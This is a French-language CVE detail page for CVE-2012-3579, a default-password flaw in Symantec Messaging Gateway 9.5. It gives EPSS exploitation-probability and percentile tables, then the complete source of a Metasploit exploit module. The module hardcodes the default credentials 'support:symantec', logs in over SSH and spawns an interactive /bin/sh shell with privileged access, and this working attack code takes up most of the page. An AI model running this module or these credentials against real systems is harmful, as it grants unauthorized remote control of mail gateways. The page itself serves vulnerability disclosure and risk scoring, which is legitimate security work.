CVE-2012-3579 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	76.37%	–	–
2022-05-15	–	–	75.01%	–	–
2022-08-14	–	–	73.6%	–	–
2022-11-13	–	–	73.02%	–	–
2023-02-19	–	–	71.79%	–	–
2023-03-12	–	–	–	16.01%	–
2023-03-19	–	–	–	17.43%	–
2023-07-23	–	–	–	15.64%	–
2023-09-24	–	–	–	10.75%	–
2023-11-12	–	–	–	10.75%	–
2023-11-26	–	–	–	10.8%	–
2024-03-31	–	–	–	17.13%	–
2024-06-02	–	–	–	22.35%	–
2024-06-09	–	–	–	–	–
2024-06-09	–	–	–	22.35%	–
2024-09-22	–	–	–	18.95%	–
2024-11-17	–	–	–	18.59%	–
2024-12-22	–	–	–	14.96%	–
2025-01-19	–	–	–	14.96%	–
2025-03-18	–	–	–	–	36.37%
2025-03-18	–	–	–	–	36.37,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2022-05-15	99%
2022-08-14	99%
2022-11-13	99%
2023-02-19	99%
2023-03-12	95%
2023-03-19	95%
2023-07-23	95%
2023-09-24	94%
2023-11-12	95%
2023-11-26	95%
2024-03-31	96%
2024-06-02	96%
2024-06-09	97%
2024-06-09	97%
2024-09-22	96%
2024-11-17	96%
2024-12-22	96%
2025-01-19	96%
2025-03-18	97%
2025-03-18	97%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::CommandShell def initialize(info={}) super(update_info(info, 'Name' => "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability", 'Description' => %q{ This module exploits a default misconfiguration flaw on Symantec Messaging Gateway. The 'support' user has a known default password, which can be used to login to the SSH service, and gain privileged access from remote. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stefan Viehbock', #Original discovery 'Ben Williams', #Reporting the vuln + coordinated release 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2012-3579'], ['OSVDB', '85028'], ['BID', '55143'], ['URL', 'https://www.sec-consult.com/files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'], ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00'] ], 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ ['Symantec Messaging Gateway 9.5', {}], ], 'Privileged' => true, #Timestamp on Symantec advisory #But was found on Jun 26, 2012 'DisclosureDate' => "Aug 27 2012", 'DefaultTarget' => 0)) register_options( [ Opt::RHOST(), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user, pass) opts = { :auth_methods => ['password', 'keyboard-interactive'], :msframework => framework, :msfmodule => self, :port => rport, :disable_agent => true, :config => false, :password => pass, :record_auth_info => true, :proxies => datastore['Proxies'] } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError, Rex::AddressInUse return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true) ssh = nil return conn end return nil end def exploit user = 'support' pass = 'symantec' print_status("#{rhost}:#{rport} - Attempt to login...") conn = do_login(user, pass) if conn print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'") handler(conn.lsock) end end end